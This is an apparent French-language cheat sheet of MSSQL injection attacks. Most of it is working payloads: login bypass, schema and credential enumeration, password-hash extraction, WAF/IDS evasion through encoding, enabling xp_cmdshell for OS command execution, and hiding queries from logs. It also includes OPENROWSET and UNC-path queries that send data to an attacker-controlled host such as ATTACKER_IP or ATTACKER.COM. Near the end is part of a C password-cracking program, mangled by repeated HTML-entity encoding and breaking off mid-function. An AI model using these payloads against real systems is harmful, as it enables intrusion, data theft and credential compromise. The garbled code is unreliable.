MSSQL Injection Cheat Sheet

Table des matières

Introduction

Ce document recense de manière synthétique et la plus complète possible, l’ensemble des vecteurs d’attaque pour des injections SQL (SQLi & BSQLi) ciblant les bases de données MSSQL (Microsoft SQL Server).

Toutes les syntaxes, requêtes, codes sources, PoC et exemples ont été testés et validés pour la production de cette synthèse.

Bases de données par défaut

pubs Indisponible sous MSSQL 2005 ni 2012
model Disponible dans toutes les versions
msdb Disponible dans toutes les versions
tempdb Disponible dans toutes les versions
northwind Non disponible sous SQL Server 2012
information_schema Disponible depuis MSSQL 2000

Tester une injection

Injection dans une chaîne de caractères

Pour la requête suivante :

[sql]SELECT * FROM Table WHERE data = ‘[INJ]’;[/sql]

Simple quote x1 False
‘ ‘ Simple quote x2 True
Double quote x1 True
“” Double quote x2 True
\ Backslash x1 True
\\ Backslash x2 True

Exemples :

[sql]SELECT * FROM Table WHERE data = ‘xxx”’;
SELECT * FROM Table WHERE data = ‘1”””””’UNION SELECT ‘2’;[/sql]

Remarques :

  • Il est possible d’utiliser autant d’apostrophe (quote) tant qu’ils vont par paire.
  • Il est possible de continuer la requête à la suite d’une chaîne de quote.
  • Une quote échappe une seconde quote, d’où le chaînage par paire.

Injection par valeurs numériques

Pour la requête suivante :

[sql]SELECT * FROM Table WHERE data = [INJ];[/sql]

AND 1=1 True
AND 1=0 False
1*1337 Retourne 1337 si vulnérable

Formats numériques valides :

Chacune de ces techniques peut servir d’évasion d’expressions régulières d’IDS/WAF.

digits 1337
digits[.] 1337.
digits[.]digits 13.37
digits[eE]digits 13e37, 13E37
digits[eE][+-]digits 13e-37, 13E+37
digits[.][eE]digits 13.e37
digits[.]digits[eE]digits 13.3E7
digits[.]digits[eE][+-]digits 13.3e-7
[.]digits .1337
[.]digits[eE]digits .13e37
[.]digits[eE][+-]digits .13E-37

Formats monétaires valides :

MSSQL intègre un format de données monétaires. L’utilisation de ceux-ci permettent d’outrepasser certains filtres de détection de WAF/IDS.

[sql]SELECT * FROM myTable WHERE id = +$1.0;
SELECT * FROM myTable WHERE id = +€1.0;
SELECT * FROM myTable WHERE id = +£1.0;[/sql]

Liste des symboles monétaires pris en comptes par MSSQL :

Format monétaire MSSQL

Format monétaire MSSQL

Expressions mathématiques équivalentes :

Pour des injections équivalentes au traditionnel “OR 1=1”, les syntaxes suivantes (et dérivées) peuvent être utilisées :

[sql]
COS(0)=SIN(PI()/2)
[/sql]Exemples :

[sql]SELECT * FROM Table WHERE data = 3+1337;[/sql]

Injection dans un formulaire de connexion/login

Pour la requête suivante :

[sql]SELECT * FROM Users WHERE username = ‘admin’ AND password = ‘[INJ]’;[/sql]Injections :

[sql]’ OR ” = ‘

‘ OR 1 = 1 —

‘=’

‘LIKE’

‘=0–[/sql]Exemples :

[sql]SELECT * FROM Users WHERE username = ‘admin’ AND password = ” OR ” = ”;[/sql]

Commenter la fin d’une requête

Les syntaxes suivantes peuvent être utilisées pour commenter (désactiver) la fin d’une requête à la suite d’une injection :

/* C-style commentaire
SQL commentaire
;%00 Nullbyte,fin de chaîne

Exemples :

[sql]
SELECT * FROM Table WHERE username = ” OR 1=1 –‘ AND password = ”;
SELECT * FROM Table WHERE data = ” UNION SELECT 1, 2, 3/*’;
[/sql]

Test de version MSSQL

  • @@VERSION

Exemples :

[sql]SELECT * FROM Tables WHERE data = ‘1’ AND @@VERSION LIKE ‘%2008%’; — true if MSSQL 2008[/sql]Remarques :

  • La chaîne de caractère retournée par @@VERSION contient également la version du système d’exploitation Windows en place, elle est insensible à la casse.

Crédentiels de la base de données

  • Database..Table : master..syslogins, master..sysprocesses
  • Colonnes : name, loginame
  • Utilisateur courant : user, system_user, user_name(), suser_sname(), is_srvrolemember(‘sysadmin’)

Crédentiels de la base :

[sql]SELECT user, password FROM master.dbo.sysxlogins
SELECT name, password, LOGINPROPERTY(name, ‘PasswordHash’ ) hash FROM syslogins WHERE password IS NOT NULL; — Test on SQL Server 2012[/sql]Exemples :

[sql]
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID; — retourne l’utilisateur courant
SELECT (CASE WHEN (IS_SRVROLEMEMBER(‘sysadmin’)=1) THEN ‘1’ ELSE ‘0’ END); — vérifie que l’utilisateur est administrateur[/sql]

Gestion des utilisateurs

Chacune de ces requêtes de gestion des utilisateurs nécessite des droits.

Création d’un nouvel utilisateur

[sql]EXEC sp_addlogin ‘user’, ‘passwd’;[/sql]

Suppression d’un utilisateur

[sql]EXEC sp_droplogin ‘user’;[/sql]

Escalade de privilège d’un utilisateur

[sql]EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin’;[/sql]

Noms des bases de données

  • Database.Tables : master..sysdatabases
  • Colonnes : name
  • Base de données courante : DB_NAME()
  • Autres bases : DB_NAME(i)

Exemples :

[sql]

SELECT DB_NAME(2);
SELECT name FROM master..sysdatabases;[/sql]

Nom d’hôte du serveur

  • @@SERVERNAME
  • SERVERPROPERTY()
  • HOST_NAME()

Exemples :

[sql]SELECT SERVERPROPERTY(‘productversion’), SERVERPROPERTY(‘productlevel’), SERVERPROPERTY(‘edition’);[/sql]Remarques :

  • SERVERPROPERTY() est disponible depuis MSSQL 2005.

Tables et colonnes

Déterminer le nombre de colonnes

Via “order by”

  • ORDER BY N+1;

Remarques :

  • Continuer d’incrémenter la valeur de N jusqu’à ce que la réponse soit false (une erreur).

Exemples :

Pour la requête suivante :

[sql]SELECT * FROM Table WHERE data = ‘[INJ]’;[/sql]

1′ ORDER BY 1– True
1′ ORDER BY 2– True
1′ ORDER BY 3– True
1′ ORDER BY 4– False – La requête ne dispose que de 3 colonnes
-1′ UNION SELECT 1,2,3– True

Via les erreurs

  • GROUP BY / HAVING

Remarques :

  • Il n’y a plus d’erreur de retournée lorsque toutes les colonnes ont été incluses.

Exemples :

Pour la requête suivante :

[sql]SELECT * FROM Table WHERE data = ‘[INJ]’;[/sql]

1′ HAVING 1=1– Column ‘Table.myColumn1’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1′ GROUP BY myColumn1 HAVING 1=1– Column ‘Table.myColumn2’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1′ GROUP BY myColumn1, myColumn2 HAVING 1=1– Column ‘Table.myColumn3’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1′ GROUP BY myColumn1, myColumn2, myColumn3 HAVING 1=1– Aucune erreur

Récupérer le nom des tables

Les noms des tables peuvent être extraits via information_schema.tables ou master..sysobjects.

Via “Union”

[sql]UNION SELECT name FROM master..sysobjects WHERE xtype=’U'[/sql]Remarques :

  • Xtype=’U’ correspond aux tables définies par l’utilisateur. ‘V’ pour les vues.

En mode aveugle “Blind”

[sql]AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > ‘A'[/sql]Remarques :

  • Appliquer un algorithme dichotomique sur la requête pour optimiser le temps de recherche et le trafic réseau (O(log n)).

Via les erreurs

[sql]AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))[/sql]

Récupérer le nom des colonnes

Les noms des tables peuvent être extraits via information_schema.columns ou master..syscolumns.

Via “Union”

[sql]UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = ‘tablename’)[/sql]

En mode aveugle “Blind”

[sql]AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > ‘A'[/sql]Remarques :

  • Appliquer un algorithme dichotomique pour optimiser les requêtes, le temps de recherche et le trafic réseau (O(log n)).

Via les erreurs

[sql]AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))[/sql]

Récupérer plusieurs tables/colonnes en une fois

Technique n°1

Les trois requêtes suivantes permettent la création temporaire d’une table/colonne, l’insertion de toutes les tables définies par l’utilisateur, la récupération de ce contenu puis la suppression de la table temporaire.

[sql]AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=’:’ SELECT @xy=@xy+’ ‘+name FROM sysobjects WHERE xtype=’U’ AND name>@xy SELECT @xy AS xy INTO TMP_DB END; — création et insertion des données
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB); — récupération du contenu
AND 1=0; DROP TABLE TMP_DB; — suppression de la table temporaire
[/sql]

Technique n°2

Une méthode plus simple est disponible depuis MSSQL 2005 au travers de la méthode path() XML qui effectue des concaténations.

[sql]SELECT table_name as t FROM information_schema.tables FOR XML PATH(”)[/sql]Remarques :

  • La requête peut être obscurcie avec un encodage :

[sql]’ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);–[/sql]

Récupérer le type des colonnes

Via des fonctions MSSQL :

Lors de l’utilisation d’UNION, pour connaître le type de telle ou telle colonne, il est possible d’appliquer sur la sélection une fonction prenant un type précis en paramètre. Dans l’exemple suivant, la fonction SUM() est utilisée, celle-ci ne peut prendre qu’un nombre en entrée. Si aucune erreur ne s’affiche, la colonne est de type numérique, sinon, l’erreur indique son type :

[sql]’ union select sum(myColumn) from myTable–[/sql]Résultats en cas d’erreur :

Microsoft OLE DB Provider for ODBC Drivers error ‘80050e07’
[Microsoft][ODBC SQL Server Driver]

[SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

Il est également possible d’exploiter les fonctions CAST() ou CONVERT().

Méthode incrémentale

Au travers d’un UNION, le test du type des colonnes peut se faire de la sortes :

  • Pas d’erreur, syntaxe valide :

[sql]1337 UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- [/sql]

  • Pas d’erreur, la première colonne est un entier :

[sql]1337 UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- [/sql]

  • Erreur, la seconde colonne n’est pas un nombre :

[sql]1337 UNION SELECT 1,2,NULL,NULL WHERE 1=2 — [/sql]

  • Pas d’erreur, la seconde colonne est une chaîne de caractère :

[sql]1337 UNION SELECT 1,’2′,NULL,NULL WHERE 1=2 — [/sql]

Éviter l’utilisation des quotes

Encodage en hexadécimal

[sql]SELECT * FROM myTable WHERE ‘test’ = 0x74657374;[/sql]Remarques :

  • Le préfixe “0x” d’une chaîne encodée en hexadécimal est insensible à la casse.
  • Une chaîne vierge en notation hexadécimale peut se noter 0x.
  • Une comparaison sur une valeur de colonne n’est pas fonctionnelle, ainsi username=0x61646d696e ne fonctionne pas.

Fonction CHAR()

[sql]SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)[/sql]

Concaténation de chaîne de caractères

[sql]
SELECT ‘a’+’d’+’mi’+’n’;
SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’); — depuis MSSQL 2012
[/sql]

Les requêtes conditionnelles

  • CASE
  • IF

Exemples :

[sql]IF 1=1 SELECT ‘true’ ELSE SELECT ‘false’;
SELECT CASE WHEN 1=1 THEN ‘true’ ELSE ‘false’ END;[/sql]Remarques :

  • IF ne peut être utilisé dans une requête SELECT.

Gestion du temps

  • WAITFOR DELAY ‘time_to_pass’;
  • WAITFOR TIME ‘time_to_execute’;

Exemples :

[sql]IF 1=1 WAITFOR DELAY ‘0:0:5’ ELSE WAITFOR DELAY ‘0:0:0’;[/sql]

Privilèges et droits

Privilèges de l’utilisateur courant sur des objets définis :

[sql]SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database
SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server
SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); — permissions on a table
SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);[/sql]Appartenance à des groupes de rôles pour l’utilisateur courant :

[sql]

SELECT is_srvrolemember(‘sysadmin’);
SELECT is_srvrolemember(‘dbcreator’);
SELECT is_srvrolemember(‘bulkadmin’);
SELECT is_srvrolemember(‘diskadmin’);
SELECT is_srvrolemember(‘processadmin’);
SELECT is_srvrolemember(‘serveradmin’);
SELECT is_srvrolemember(‘setupadmin’);
SELECT is_srvrolemember(‘securityadmin’);

[/sql]Liste des utilisateurs qui disposent de droits spécifiques :

[sql]SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;[/sql]

Attaque OPENROWSET

MSSQL offre la possibilité, au travers d’une requête, de se connecter à une base tierce (une source de données OLE DB distante). Par cette connexion (généralement réalisée sur une base appartenant à l’attaquant), il est possible d’y récupérer et/ou d’y écrire des données.

[sql]SELECT * FROM OPENROWSET(‘SQLOLEDB’, ‘Network=DBMSSOCN;Address=ATTACKER_IP;uid=ATTACKER_LOGIN; pwd=ATTACKER_PWD’, ‘SELECT myColumn FROM myTable’)
SELECT * FROM OPENROWSET(‘SQLOLEDB’, ‘127.0.0.1’;’sa’;’p4ssw0rd’, ‘SET FMTONLY OFF execute master..xp_cmdshell "dir"’);[/sql]Utilisation d’OPENROWSET pour enregistrer des données locales dans une base distante :

[sql]INSERT INTO OPENROWSET(‘SQLOLEDB’,’Network=DBMSOCN;Address=ATTACKER_IP;uid=ATTACKER_LOGIN;pwd=ATTACKER_PWD’, ‘SELECT * FROM ATTACKER_TABLE’) SELECT name FROM sysobjects WHERE xtype=’U'[/sql]Cette précédente requête va enregistrer dans la table ATTACKER_TABLE distante, la liste des tables visibles par l’utilisateur courant. La table distante de l’attaquant doit disposer d’une structure équivalente à la requête faite localement (même nombre de colonne, même type de colonne…).

Exécution de commande sur le serveur

La procédure stockée native du nom de xp_cmdshell permet d’exécuter des commandes sur le système.

[sql]EXEC master.dbo.xp_cmdshell ‘cmd’;[/sql]Remarques :

  • Le répertoire courant d’exécution des commandes est %systemroot%\System32\.
  • Les lignes vides sont retournées sous forme de valeur NULL.

Apparue dans la version 2005 de MSSQL, cette procédure est désactivée par défaut. Les requêtes suivantes permettent de l’activer.

[sql]
EXEC sp_configure ‘show advanced options’, 1
EXEC sp_configure reconfigure
EXEC sp_configure ‘xp_cmdshell’, 1
EXEC sp_configure reconfigure
[/sql]Certains WAF/IDS bloque l’utilisation de cette procédure à partir de son nom appelé. Une alternative consiste à créer une nouvelle procédure arbitraire équivalente.

[sql]
DECLARE @execmd INT
EXEC SP_OACREATE ‘wscript.shell’, @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, ‘run’, null, ‘%systemroot%\system32\cmd.exe /c’
[/sql]Pour que ces précédentes manipulations fonctionnent sous les versions MSSQL 2000 et supérieures, il est nécessaire d’exécuter au préalable :

[sql]
EXEC sp_configure ‘show advanced options’, 1
EXEC sp_configure reconfigure
EXEC sp_configure ‘OLE Automation Procedures’, 1
EXEC sp_configure reconfigure
[/sql]Exemples :

Vérifie si xp_cmdshell est chargé et actif, puis exécute la commande système “dir” en insérant les résultats dans une table temporaire.

[sql]IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME=’TMP_DB’) DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]’) AND OBJECTPROPERTY (id, N’IsExtendedProc’) = 1) BEGIN CREATE TABLE #xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT #xp_cmdshell EXEC master..sp_configure ‘xp_cmdshell’ IF EXISTS (SELECT * FROM #xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE #Data (dir varchar(8000)) INSERT #Data EXEC master..xp_cmdshell ‘dir’ SELECT @a=” SELECT @a=Replace(@a+’<br></font><font color="black">’+dir,’<dir>’,’</font><font color="orange">’) FROM #Data WHERE dir>@a DROP TABLE #Data END ELSE SELECT @a=’xp_cmdshell not enabled’ DROP TABLE #xp_cmdshell END ELSE SELECT @a=’xp_cmdshell not found’ SELECT @a AS tbl INTO TMP_DB–[/sql]Récupération des résultats :

[sql]’ UNION SELECT tbl FROM TMP_DB–[/sql]Suppression de la table temporaire :

[sql]’ DROP TABLE TMP_DB–[/sql]

Procédures et fonctions spéciales

Il existe une multitude de fonctions et procédures natives à MSSQL. Celles d’intérêts sont listées par la suite :

Gestion du regedit au travers de MSSQL :

  • xp_regaddmultistring
  • xp_regdeletekey
  • xp_regdeletevalue
  • xp_regenumkeys
  • xp_regenumvalues
  • xp_regread
  • xp_regremovemultistring
  • xp_regwrite

Gestion des services :

  • xp_servicecontrol

Gestion des médias :

  • xp_availablemedia

Gestion des ressources ODBC :

  • xp_enumdsn

Configuration de connexion :

  • xp_loginconfig

Création de fichiers CAB :

  • xp_makecab

Énumération des domaines :

  • xp_ntsec_enumdomains

Terminaison de processus :

  • xp_terminate_process

Ecriture d’un fichier texte local :

  • sp_makewebtask

Ajout de nouvelles procédures personnalisées :

MSSQL supporte le VBS et WSH via les ActiveX. Des procédures personnalisées permettent ainsi d’effectuer n’importe quelle tâche sur le système.

[sql]sp_addextendedproc ‘xp_xxx’, ‘c:\temp\x.dll’
exec xp_xxx[/sql]

Empêcher la journalisation des requêtes

Le mot clé “sp_password” en terminaison d’une requête permet de cacher les résultats de cette requêtes au niveau des journaux (logs) T-SQL.

  • sp_password

Exemples :

[sql]’ AND 1=1–sp_password[/sql]Résultats :

— ‘sp_password’ was found in the text of this event.
— The text has been replaced with this comment for security reasons.

Lecture de fichier du serveur

Les fichiers locaux du serveur peuvent être lu au travers de MSSQL.

[sql]

CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ‘c:\x.txt’;

DROP TABLE mydata;

[/sql]Remarques :

  • Les fichiers de base de données locales sont stockés dans un chemin précis, celui-ci peut être récupéré par les requêtes:

[sql]EXEC sp_helpdb master; –location of master.mdf
EXEC sp_helpdb pubs; –location of pubs.mdf[/sql]

Requêtes distantes

Requêtes Samba (MSSQL 2000, sans privilèges)

[sql]declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails "\’ + @host + ‘c$boot.ini"’);[/sql]

Requêtes Samba (MSSQL >= 2005, avec privilèges)

[sql]declare @host varchar(800); select @host = name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash) + ‘.ATTACKER.COM’ from sys.sql_logins; exec(‘xp_fileexist "\’ + @host + ‘c$boot.ini"’);[/sql]Remarques :

  • Les concaténations de chaînes de sont pas autorisées dans l’appel de la procédure, d’où l’utilisation de la variable @host.
  • Voir également les fonctionnalités de DNS tunnel dans SQLNinja.

Requêtes empilées

MSSQL supporte les requêtes empilées.

Exemples :

[sql]’ AND 1=0 INSERT INTO ([column1], [column2]) VALUES (‘value1’, ‘value2’);[/sql]

Obscurcissement de requêtes

Caractères intermédiaires de séparation

Le tableau suivant décrit les caractères hexadécimaux utilisables comme un espace blanc.

01 Start of Heading
02 Start of Text
03 End of Text
04 End of Transmission
05 Enquiry
06 Acknowledge
07 Bell
08 Backspace
09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
0E Shift Out
0F Shift In
10 Data Link Escape
11 Device Control 1
12 Device Control 2
13 Device Control 3
14 Device Control 4
15 Negative Acknowledge
16 Synchronous Idle
17 End of Transmission Block
18 Cancel
19 End of Medium
1A Substitute
1B Escape
1C File Separator
1D Group Separator
1E Record Separator
1F Unit Separator
20 Space
25 %

Exemples :

[sql]S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;[/sql]Remarques :

  • Le symbole pourcent “%” entre les caractères d’un mot-clé n’est possible qu’au travers des applications web en ASP(x) (serveur IIS).

Les caractères suivants peuvent également servir de remplacement aux espaces blancs.

22
28 (
29 )
5B [
5D ]

Exemples :

[sql]UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information_schema].[tables];[/sql]

Caractères intermédiaires pour AND/OR

01 – 20 Range
21 !
2B +
2D
2E .
5C \
7E ~

Exemples :

[sql]SELECT 1FROM[table]WHERE\1=\1AND\1=\1;[/sql]Remarques :

  • L’antislash n’est pas fonctionnel sous MSSQL 2000.

Encodage

Le transcodage permet de bypasser certains WAF/IDS.

URL Encoding :

[sql]SELECT %74able_%6eame FROM information_schema.tables;[/sql]

Double URL Encoding :

[sql]SELECT %2574able_%256eame FROM information_schema.tables;[/sql]

Unicode Encoding :

[sql]SELECT %u0074able_%u6eame FROM information_schema.tables;[/sql]

Invalid hex Encoding (ASP only) :

[sql]SELECT %tab%le_%na%me FROM information_schema.tables;[/sql]

Hex encoding :

[sql]’ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);–[/sql]

HTML Entities (à valider) :

[sql]%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B[/sql]

Transcodage linguistique

Dans le cas de MSSQL et d’une injection via l’utilisation du mot clé “UNION”, si deux colonnes de chaînes de caractères (du premier ensemble de la requête et du second) ne s’avèrent pas dans le même encodage linguistique (Japonnais, Russe, Turque…), alors une erreur peut être levée.

Pour pallier à ce problème, MSSQL défini le mot clé “COLLATE” pour harmoniser l’encodage de sortie :

[sql]SELECT dataRussian FROM myTable1 UNION ALL SELECT dataTurk COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM myTable2[/sql]

Opérateurs

AND
Logical AND
= Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement)
BETWEEN … AND … Check whether a value is within a range of values
& Bitwise AND
| Bitwise OR
^ Bitwise XOR
/ Division operator
= Equal operator
>= Greater than or equal operator
> Greater than operator
!> No-greater than operator
!< No-lesser than operator
<= Less than or equal operator
< Less than operator
LIKE Simple pattern matching
Minus operator
% Modulo operator
!= <> Not equal operator
NOT ! Negates value
OR Logical OR
+ Addition operator
* Multiplication operator
Change the sign of the argument
~ Not bitwise
ALL Logical AND on a set
ANYSOME Logical OR on a set
EXISTS True if under-request contains data
IN True if operand equals at least one element of a set

Mots de passe

Hachage

MSSQL < 2012

Les mots de passe MSSQL sont hachés à partir de l’algorithme SHA1. Ils débutent par le préfixe 0x0100. Les 8 octets suivants correspondent au sel (salt) et les 80 octets suivants sont en réalités 2 hashs. Le premier hash de 40 octets est sensible à la casse alors que le second est une version en majuscule. La taille finale avec le préfixe est de 94 caractères.

[bash]0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457[/bash]MSSQL 2012

Les hashs de la version 2012 débutent par le préfixe 0x0200 et font 142 caractères. L’algorithme SHA512 est utilisé au lieu du SHA1 :

[sql]SELECT pwdencrypt(‘password’); — internal MSSQL 2012 function
select 0x0200+0xDEADBEEF+HASHBYTES(‘SHA2_512′, CONVERT(VARBINARY,N’password’) + CAST(0xDEADBEEF AS VARBINARY(32))) — generic method with DEADBEEF as salt[/sql] 

[bash]0x0200F8AD6746B48DC390E37F07597844806A9488D286E65E901CB1AA33AE425B8335E7C5858840105DA0AF14BD26AA3662EAF33E40ADABD0FECFCC740B5338497584697AA69F[/bash]

Cassage

Différentes solutions permettent de tester la résistance des mots de passe MSSQL pour tous types de versions.

  • Un module Metasploit pour John The Ripper est également disponible ici.
  • Hashcat prend en compte toutes les versions MSSQL.

L’algorithme de brute-force des hashs de MSSQL 2000 en C est le suivant :

[c]
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;stdio.h&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
#include &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;windows.h&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
#include &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;wincrypt.h&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;
FILE *fd=NULL;
char *lerr = &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\nLength Error!\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\n\n*** SQLCrack *** \n\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;C:\\&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;%s hash passwd-file\n\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,argv[0]);
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;David Litchfield (david@ngssoftware.com)\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;24th June 2002\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\nThere was an error opening the password file %s\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\n\n%d&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;r&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
char pheader[8]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
char pkey[12]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
char pnorm[44]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
char pucase[44]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
char pucfirst[8]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
char wttf[44]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
char uwttf[100]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;;
int len=0;
if(strlen(hash) !=94)
{
return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\nThe password hash is too short!\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);
}
if(hash[0]==0x30 &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp; (hash[1]== ‘x’ || hash[1] == ‘X’))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\nHeader\t\t: %s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,pheader);
if(strlen(pheader)!=4)
return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\nRand key\t: %s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,pkey);
